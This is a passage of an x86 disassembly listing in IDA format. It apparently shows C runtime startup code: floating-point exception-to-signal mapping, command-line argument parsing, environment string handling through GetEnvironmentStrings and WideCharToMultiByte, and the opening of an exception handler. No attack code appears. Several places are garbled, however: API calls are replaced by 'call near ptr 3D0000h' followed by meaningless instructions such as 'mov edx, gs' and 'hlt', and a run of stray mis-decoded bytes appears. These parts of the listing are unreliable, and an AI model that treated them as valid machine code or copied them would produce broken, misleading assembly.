loc_42C01D ; --------------------------------------------------------------------------- loc_42BFC3: ; CODE XREF: sub_42BEA0+115j mov edx, [ebp+var_10] cmp dword ptr [edx], 0C0000093h jnz short loc_42BFDA mov eax, [ebp+var_8] mov dword ptr [eax+58h], 85h jmp short loc_42C01D ; --------------------------------------------------------------------------- loc_42BFDA: ; CODE XREF: sub_42BEA0+12Cj mov ecx, [ebp+var_10] cmp dword ptr [ecx], 0C000008Dh jnz short loc_42BFF1 mov edx, [ebp+var_8] mov dword ptr [edx+58h], 82h jmp short loc_42C01D ; --------------------------------------------------------------------------- loc_42BFF1: ; CODE XREF: sub_42BEA0+143j mov eax, [ebp+var_10] cmp dword ptr [eax], 0C000008Fh jnz short loc_42C008 mov ecx, [ebp+var_8] mov dword ptr [ecx+58h], 86h jmp short loc_42C01D ; --------------------------------------------------------------------------- loc_42C008: ; CODE XREF: sub_42BEA0+15Aj mov edx, [ebp+var_10] cmp dword ptr [edx], 0C0000092h jnz short loc_42C01D mov eax, [ebp+var_8] mov dword ptr [eax+58h], 8Ah loc_42C01D: ; CODE XREF: sub_42BEA0+F0j ; sub_42BEA0+10Aj ... mov ecx, [ebp+var_8] mov edx, [ecx+58h] push edx push 8 call [ebp+var_4] add esp, 8 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+58h], ecx jmp short loc_42C04E ; --------------------------------------------------------------------------- loc_42C037: ; CODE XREF: sub_42BEA0+92j mov edx, [ebp+var_10] mov dword ptr [edx+8], 0 mov eax, [ebp+var_10] mov ecx, [eax+4] push ecx call [ebp+var_4] add esp, 4 loc_42C04E: ; CODE XREF: sub_42BEA0+195j mov edx, [ebp+var_8] mov eax, [ebp+var_18] mov [edx+54h], eax or eax, 0FFFFFFFFh loc_42C05A: ; CODE XREF: sub_42BEA0+3Dj ; sub_42BEA0+5Aj ... mov esp, ebp pop ebp retn sub_42BEA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C060 proc near ; CODE XREF: sub_42BEA0+19p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_42C06A: ; CODE XREF: sub_42C060+30j mov ecx, [ebp+var_4] mov edx, [ecx] cmp edx, [ebp+arg_0] jz short loc_42C092 mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_4], eax mov ecx, ds:dword_4505FC imul ecx, 0Ch mov edx, [ebp+arg_4] add edx, ecx cmp [ebp+var_4], edx jnb short loc_42C092 jmp short loc_42C06A ; --------------------------------------------------------------------------- loc_42C092: ; CODE XREF: sub_42C060+12j ; sub_42C060+2Ej mov eax, ds:dword_4505FC imul eax, 0Ch mov ecx, [ebp+arg_4] add ecx, eax cmp [ebp+var_4], ecx jnb short loc_42C0AE mov edx, [ebp+var_4] mov eax, [edx] cmp eax, [ebp+arg_0] jz short loc_42C0B2 loc_42C0AE: ; CODE XREF: sub_42C060+42j xor eax, eax jmp short loc_42C0B5 ; --------------------------------------------------------------------------- loc_42C0B2: ; CODE XREF: sub_42C060+4Cj mov eax, [ebp+var_4] loc_42C0B5: ; CODE XREF: sub_42C060+50j mov esp, ebp pop ebp retn sub_42C060 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C0C0 proc near ; CODE XREF: seg000:00420C18p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp ds:dword_4F0088, 0 jnz short loc_42C0D2 call sub_4265E0 loc_42C0D2: ; CODE XREF: sub_42C0C0+Bj mov eax, ds:dword_4EF068 mov [ebp+var_4], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp edx, 22h jnz short loc_42C13C loc_42C0E6: ; CODE XREF: sub_42C0C0:loc_42C123j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp edx, 22h jz short loc_42C125 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_42C125 mov edx, [ebp+var_4] xor eax, eax mov al, [edx] push eax call sub_432B80 add esp, 4 test eax, eax jz short loc_42C123 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42C123: ; CODE XREF: sub_42C0C0+58j jmp short loc_42C0E6 ; --------------------------------------------------------------------------- loc_42C125: ; CODE XREF: sub_42C0C0+39j ; sub_42C0C0+44j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] cmp eax, 22h jnz short loc_42C13A mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42C13A: ; CODE XREF: sub_42C0C0+6Fj jmp short loc_42C153 ; --------------------------------------------------------------------------- loc_42C13C: ; CODE XREF: sub_42C0C0+24j ; sub_42C0C0+91j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] cmp eax, 20h jle short loc_42C153 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_42C13C ; --------------------------------------------------------------------------- loc_42C153: ; CODE XREF: sub_42C0C0:loc_42C13Aj ; sub_42C0C0+86j ... mov edx, [ebp+var_4] xor eax, eax mov al, [edx] test eax, eax jz short loc_42C175 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp edx, 20h jg short loc_42C175 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_42C153 ; --------------------------------------------------------------------------- loc_42C175: ; CODE XREF: sub_42C0C0+9Cj ; sub_42C0C0+A8j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42C0C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C180 proc near ; CODE XREF: seg000:00420BFDp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h cmp ds:dword_4F0088, 0 jnz short loc_42C194 call sub_4265E0 loc_42C194: ; CODE XREF: sub_42C180+Dj mov [ebp+var_8], 0 mov eax, ds:dword_4EE9D4 mov [ebp+var_4], eax loc_42C1A3: ; CODE XREF: sub_42C180+57j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_42C1D9 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 3Dh jz short loc_42C1C1 mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx loc_42C1C1: ; CODE XREF: sub_42C180+36j mov eax, [ebp+var_4] push eax call sub_41AC70 add esp, 4 mov ecx, [ebp+var_4] lea edx, [ecx+eax+1] mov [ebp+var_4], edx jmp short loc_42C1A3 ; --------------------------------------------------------------------------- loc_42C1D9: ; CODE XREF: sub_42C180+2Bj push 6Dh push offset dword_43A2C8 push 2 mov eax, [ebp+var_8] lea ecx, ds:4[eax*4] push ecx call sub_41AE60 add esp, 10h mov [ebp+var_C], eax mov edx, [ebp+var_C] mov ds:dword_4EE988, edx cmp ds:dword_4EE988, 0 jnz short loc_42C214 push 9 call sub_420CA0 add esp, 4 loc_42C214: ; CODE XREF: sub_42C180+88j mov eax, ds:dword_4EE9D4 mov [ebp+var_4], eax jmp short loc_42C227 ; --------------------------------------------------------------------------- loc_42C21E: ; CODE XREF: sub_42C180:loc_42C295j mov ecx, [ebp+var_4] add ecx, [ebp+var_10] mov [ebp+var_4], ecx loc_42C227: ; CODE XREF: sub_42C180+9Cj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_42C297 mov ecx, [ebp+var_4] push ecx call sub_41AC70 add esp, 4 add eax, 1 mov [ebp+var_10], eax mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 3Dh jz short loc_42C295 push 79h push offset dword_43A2C8 push 2 mov ecx, [ebp+var_10] push ecx call sub_41AE60 add esp, 10h mov edx, [ebp+var_C] mov [edx], eax mov eax, [ebp+var_C] cmp dword ptr [eax], 0 jnz short loc_42C27A push 9 call sub_420CA0 add esp, 4 loc_42C27A: ; CODE XREF: sub_42C180+EEj mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_C] mov eax, [edx] push eax call sub_41E550 add esp, 8 mov ecx, [ebp+var_C] add ecx, 4 mov [ebp+var_C], ecx loc_42C295: ; CODE XREF: sub_42C180+CCj jmp short loc_42C21E ; --------------------------------------------------------------------------- loc_42C297: ; CODE XREF: sub_42C180+AFj push 2 mov edx, ds:dword_4EE9D4 push edx call sub_41B8F0 add esp, 8 mov ds:dword_4EE9D4, 0 mov eax, [ebp+var_C] mov dword ptr [eax], 0 mov ds:dword_4F0084, 1 mov esp, ebp pop ebp retn sub_42C180 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C2D0 proc near ; CODE XREF: seg000:00420BF8p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h cmp ds:dword_4F0088, 0 jnz short loc_42C2E4 call sub_4265E0 loc_42C2E4: ; CODE XREF: sub_42C2D0+Dj push 104h push offset dword_4EEA8C push 0 call near ptr 3D0000h xor al, bh add eax, offset dword_4EE998 mov edx, gs dec esi add byte ptr ds:dword_4EF068[ecx], ah movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_42C317 mov edx, ds:dword_4EE998 mov [ebp+var_14], edx jmp short loc_42C31F ; --------------------------------------------------------------------------- loc_42C317: ; CODE XREF: sub_42C2D0+3Aj mov eax, ds:dword_4EF068 mov [ebp+var_14], eax loc_42C31F: ; CODE XREF: sub_42C2D0+45j mov ecx, [ebp+var_14] mov [ebp+var_10], ecx lea edx, [ebp+var_4] push edx lea eax, [ebp+var_C] push eax push 0 push 0 mov ecx, [ebp+var_10] push ecx call sub_42C3B0 add esp, 14h push 80h push offset dword_43A2D4 push 2 mov edx, [ebp+var_C] mov eax, [ebp+var_4] lea ecx, [eax+edx*4] push ecx call sub_41AE60 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_42C36E push 8 call sub_420CA0 add esp, 4 loc_42C36E: ; CODE XREF: sub_42C2D0+92j lea edx, [ebp+var_4] push edx lea eax, [ebp+var_C] push eax mov ecx, [ebp+var_C] mov edx, [ebp+var_8] lea eax, [edx+ecx*4] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_10] push edx call sub_42C3B0 add esp, 14h mov eax, [ebp+var_C] sub eax, 1 mov ds:dword_4EE97C, eax mov ecx, [ebp+var_8] mov ds:dword_4EE980, ecx mov esp, ebp pop ebp retn sub_42C2D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C3B0 proc near ; CODE XREF: sub_42C2D0+65p ; sub_42C2D0+B8p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_10] mov dword ptr [eax], 0 mov ecx, [ebp+arg_C] mov dword ptr [ecx], 1 mov edx, [ebp+arg_0] mov [ebp+var_4], edx cmp [ebp+arg_4], 0 jz short loc_42C3E5 mov eax, [ebp+arg_4] mov ecx, [ebp+arg_8] mov [eax], ecx mov edx, [ebp+arg_4] add edx, 4 mov [ebp+arg_4], edx loc_42C3E5: ; CODE XREF: sub_42C3B0+22j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz loc_42C4BD loc_42C3F4: ; CODE XREF: sub_42C3B0:loc_42C47Dj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jz short loc_42C482 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_42C482 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] xor eax, eax mov al, ds:byte_4EEF41[edx] and eax, 4 test eax, eax jz short loc_42C457 mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx cmp [ebp+arg_8], 0 jz short loc_42C457 mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42C457: ; CODE XREF: sub_42C3B0+76j ; sub_42C3B0+89j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_42C47D mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_42C47D: ; CODE XREF: sub_42C3B0+B8j jmp loc_42C3F4 ; --------------------------------------------------------------------------- loc_42C482: ; CODE XREF: sub_42C3B0+56j ; sub_42C3B0+60j mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx cmp [ebp+arg_8], 0 jz short loc_42C4A4 mov ecx, [ebp+arg_8] mov byte ptr [ecx], 0 mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx loc_42C4A4: ; CODE XREF: sub_42C3B0+E3j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz short loc_42C4B8 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42C4B8: ; CODE XREF: sub_42C3B0+FDj jmp loc_42C58C ; --------------------------------------------------------------------------- loc_42C4BD: ; CODE XREF: sub_42C3B0+3Ej ; sub_42C3B0+1B1j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_42C4E3 mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_42C4E3: ; CODE XREF: sub_42C3B0+11Ej mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_C] and ecx, 0FFh xor edx, edx mov dl, ds:byte_4EEF41[ecx] and edx, 4 test edx, edx jz short loc_42C53B mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_42C532 mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_42C532: ; CODE XREF: sub_42C3B0+16Dj mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42C53B: ; CODE XREF: sub_42C3B0+15Aj mov edx, [ebp+var_C] and edx, 0FFh cmp edx, 20h jz short loc_42C567 mov eax, [ebp+var_C] and eax, 0FFh test eax, eax jz short loc_42C567 mov ecx, [ebp+var_C] and ecx, 0FFh cmp ecx, 9 jnz loc_42C4BD loc_42C567: ; CODE XREF: sub_42C3B0+197j ; sub_42C3B0+1A3j mov edx, [ebp+var_C] and edx, 0FFh test edx, edx jnz short loc_42C57F mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax jmp short loc_42C58C ; --------------------------------------------------------------------------- loc_42C57F: ; CODE XREF: sub_42C3B0+1C2j cmp [ebp+arg_8], 0 jz short loc_42C58C mov ecx, [ebp+arg_8] mov byte ptr [ecx-1], 0 loc_42C58C: ; CODE XREF: sub_42C3B0:loc_42C4B8j ; sub_42C3B0+1CDj ... mov [ebp+var_14], 0 loc_42C593: ; CODE XREF: sub_42C3B0+3F6j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_42C5BE loc_42C59D: ; CODE XREF: sub_42C3B0+20Cj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_42C5B3 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jnz short loc_42C5BE loc_42C5B3: ; CODE XREF: sub_42C3B0+1F6j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_42C59D ; --------------------------------------------------------------------------- loc_42C5BE: ; CODE XREF: sub_42C3B0+1EBj ; sub_42C3B0+201j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_42C5CD jmp loc_42C7AB ; --------------------------------------------------------------------------- loc_42C5CD: ; CODE XREF: sub_42C3B0+216j cmp [ebp+arg_4], 0 jz short loc_42C5E4 mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] mov [edx], eax mov ecx, [ebp+arg_4] add ecx, 4 mov [ebp+arg_4], ecx loc_42C5E4: ; CODE XREF: sub_42C3B0+221j mov edx, [ebp+arg_C] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax loc_42C5F1: ; CODE XREF: sub_42C3B0+3CFj mov [ebp+var_8], 1 mov [ebp+var_10], 0 loc_42C5FF: ; CODE XREF: sub_42C3B0+26Cj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 5Ch jnz short loc_42C61E mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx jmp short loc_42C5FF ; --------------------------------------------------------------------------- loc_42C61E: ; CODE XREF: sub_42C3B0+258j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz short loc_42C67A mov eax, [ebp+var_10] xor edx, edx mov ecx, 2 div ecx test edx, edx jnz short loc_42C672 cmp [ebp+var_14], 0 jz short loc_42C65F mov edx, [ebp+var_4] movsx eax, byte ptr [edx+1] cmp eax, 22h jnz short loc_42C656 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_42C65D ; --------------------------------------------------------------------------- loc_42C656: ; CODE XREF: sub_42C3B0+299j mov [ebp+var_8], 0 loc_42C65D: ; CODE XREF: sub_42C3B0+2A4j jmp short loc_42C666 ; --------------------------------------------------------------------------- loc_42C65F: ; CODE XREF: sub_42C3B0+28Dj mov [ebp+var_8], 0 loc_42C666: ; CODE XREF: sub_42C3B0:loc_42C65Dj xor edx, edx cmp [ebp+var_14], 0 setz dl mov [ebp+var_14], edx loc_42C672: ; CODE XREF: sub_42C3B0+287j mov eax, [ebp+var_10] shr eax, 1 mov [ebp+var_10], eax loc_42C67A: ; CODE XREF: sub_42C3B0+277j ; sub_42C3B0+2FCj mov ecx, [ebp+var_10] mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx test ecx, ecx jz short loc_42C6AE cmp [ebp+arg_8], 0 jz short loc_42C69F mov eax, [ebp+arg_8] mov byte ptr [eax], 5Ch mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx loc_42C69F: ; CODE XREF: sub_42C3B0+2DEj mov edx, [ebp+arg_10] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_10] mov [ecx], eax jmp short loc_42C67A ; --------------------------------------------------------------------------- loc_42C6AE: ; CODE XREF: sub_42C3B0+2D8j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_42C6D4 cmp [ebp+var_14], 0 jnz short loc_42C6D9 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_42C6D4 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jnz short loc_42C6D9 loc_42C6D4: ; CODE XREF: sub_42C3B0+306j ; sub_42C3B0+317j jmp loc_42C784 ; --------------------------------------------------------------------------- loc_42C6D9: ; CODE XREF: sub_42C3B0+30Cj ; sub_42C3B0+322j cmp [ebp+var_8], 0 jz loc_42C776 cmp [ebp+arg_8], 0 jz short loc_42C73D mov edx, [ebp+var_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, ds:byte_4EEF41[eax] and ecx, 4 test ecx, ecx jz short loc_42C728 mov edx, [ebp+arg_8] mov eax, [ebp+var_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx loc_42C728: ; CODE XREF: sub_42C3B0+34Dj mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx jmp short loc_42C769 ; --------------------------------------------------------------------------- loc_42C73D: ; CODE XREF: sub_42C3B0+337j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, ds:byte_4EEF41[eax] and ecx, 4 test ecx, ecx jz short loc_42C769 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx loc_42C769: ; CODE XREF: sub_42C3B0+38Bj ; sub_42C3B0+3A1j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx loc_42C776: ; CODE XREF: sub_42C3B0+32Dj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp loc_42C5F1 ; --------------------------------------------------------------------------- loc_42C784: ; CODE XREF: sub_42C3B0:loc_42C6D4j cmp [ebp+arg_8], 0 jz short loc_42C799 mov ecx, [ebp+arg_8] mov byte ptr [ecx], 0 mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx loc_42C799: ; CODE XREF: sub_42C3B0+3D8j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx jmp loc_42C593 ; --------------------------------------------------------------------------- loc_42C7AB: ; CODE XREF: sub_42C3B0+218j cmp [ebp+arg_4], 0 jz short loc_42C7C3 mov eax, [ebp+arg_4] mov dword ptr [eax], 0 mov ecx, [ebp+arg_4] add ecx, 4 mov [ebp+arg_4], ecx loc_42C7C3: ; CODE XREF: sub_42C3B0+3FFj mov edx, [ebp+arg_C] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax mov esp, ebp pop ebp retn sub_42C3B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C7E0 proc near ; CODE XREF: seg000:00420BEEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h mov [ebp+var_14], 0 mov [ebp+var_18], 0 cmp ds:dword_4EEB90, 0 jnz short loc_42C83A call ds:dword_4F12DC ; GetEnvironmentStringsW mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_42C818 mov ds:dword_4EEB90, 1 jmp short loc_42C83A ; --------------------------------------------------------------------------- loc_42C818: ; CODE XREF: sub_42C7E0+2Aj call ds:dword_4F12E0 ; GetEnvironmentStringsA mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_42C833 mov ds:dword_4EEB90, 2 jmp short loc_42C83A ; --------------------------------------------------------------------------- loc_42C833: ; CODE XREF: sub_42C7E0+45j xor eax, eax jmp loc_42C9F5 ; --------------------------------------------------------------------------- loc_42C83A: ; CODE XREF: sub_42C7E0+1Bj ; sub_42C7E0+36j ... cmp ds:dword_4EEB90, 1 jnz loc_42C93E cmp [ebp+var_14], 0 jnz short loc_42C863 call ds:dword_4F12DC ; GetEnvironmentStringsW mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_42C863 xor eax, eax jmp loc_42C9F5 ; --------------------------------------------------------------------------- loc_42C863: ; CODE XREF: sub_42C7E0+6Bj ; sub_42C7E0+7Aj mov eax, [ebp+var_14] mov [ebp+var_8], eax loc_42C869: ; CODE XREF: sub_42C7E0:loc_42C893j mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] test edx, edx jz short loc_42C895 mov eax, [ebp+var_8] add eax, 2 mov [ebp+var_8], eax mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] test edx, edx jnz short loc_42C893 mov eax, [ebp+var_8] add eax, 2 mov [ebp+var_8], eax loc_42C893: ; CODE XREF: sub_42C7E0+A8j jmp short loc_42C869 ; --------------------------------------------------------------------------- loc_42C895: ; CODE XREF: sub_42C7E0+93j mov ecx, [ebp+var_8] sub ecx, [ebp+var_14] sar ecx, 1 add ecx, 1 mov [ebp+var_4], ecx push 0 push 0 push 0 push 0 mov edx, [ebp+var_4] push edx mov eax, [ebp+var_14] push eax push 0 push 0 call ds:dword_4F1384 ; WideCharToMultiByte mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_42C8E4 push 64h push offset dword_43A2E0 push 2 mov ecx, [ebp+var_10] push ecx call sub_41AE60 add esp, 10h mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_42C8F5 loc_42C8E4: ; CODE XREF: sub_42C7E0+E4j mov edx, [ebp+var_14] push edx call ds:dword_4F12E4 ; FreeEnvironmentStringsW xor eax, eax jmp loc_42C9F5 ; --------------------------------------------------------------------------- loc_42C8F5: ; CODE XREF: sub_42C7E0+102j push 0 push 0 mov eax, [ebp+var_10] push eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+var_4] push edx mov eax, [ebp+var_14] push eax push 0 push 0 call ds:dword_4F1384 ; WideCharToMultiByte test eax, eax jnz short loc_42C92C push 2 mov ecx, [ebp+var_18] push ecx call sub_41B8F0 add esp, 8 mov [ebp+var_18], 0 loc_42C92C: ; CODE XREF: sub_42C7E0+135j mov edx, [ebp+var_14] push edx call ds:dword_4F12E4 ; FreeEnvironmentStringsW mov eax, [ebp+var_18] jmp loc_42C9F5 ; --------------------------------------------------------------------------- loc_42C93E: ; CODE XREF: sub_42C7E0+61j cmp ds:dword_4EEB90, 2 jnz loc_42C9F3 cmp [ebp+var_18], 0 jnz short loc_42C967 call ds:dword_4F12E0 ; GetEnvironmentStringsA mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_42C967 xor eax, eax jmp loc_42C9F5 ; --------------------------------------------------------------------------- loc_42C967: ; CODE XREF: sub_42C7E0+16Fj ; sub_42C7E0+17Ej mov eax, [ebp+var_18] mov [ebp+var_C], eax loc_42C96D: ; CODE XREF: sub_42C7E0:loc_42C993j mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] test edx, edx jz short loc_42C995 mov eax, [ebp+var_C] loc_42C97A: ; CODE XREF: sub_42C7E0+20Dj add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_42C993 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_42C993: ; CODE XREF: sub_42C7E0+1A8j jmp short loc_42C96D ; --------------------------------------------------------------------------- loc_42C995: ; CODE XREF: sub_42C7E0+195j mov ecx, [ebp+var_C] sub ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_10], ecx push 8Fh push offset dword_43A2E0 push 2 mov edx, [ebp+var_10] push edx call sub_41AE60 add esp, 10h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_42C9D0 mov eax, [ebp+var_18] push eax call near ptr 3D0000h add eax, 25EBC033h loc_42C9D0: ; CODE XREF: sub_42C7E0+1E0j mov ecx, [ebp+var_10] push ecx mov edx, [ebp+var_18] push edx mov eax, [ebp+var_C] push eax call sub_41E840 add esp, 0Ch mov ecx, [ebp+var_18] push ecx call near ptr 3D0000h jg short loc_42C97A inc ebp hlt ; --------------------------------------------------------------------------- jmp short loc_42C9F5 ; --------------------------------------------------------------------------- loc_42C9F3: ; CODE XREF: sub_42C7E0+165j xor eax, eax loc_42C9F5: ; CODE XREF: sub_42C7E0+55j ; sub_42C7E0+7Ej ... mov esp, ebp pop ebp retn sub_42C7E0 endp ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CA04 proc near ; DATA XREF: seg000:00420B3Ao ; sub_42A410+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_42CAA4 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_42CA37: ; CODE XREF: sub_42CA04+90j cmp esi, 0FFFFFFFFh jz short loc_42CA9D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42CA8B push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42CA8B js short loc_42CA96 mov edi, [ebx+8] push ebx call sub_41F890 add esp, 4 lea 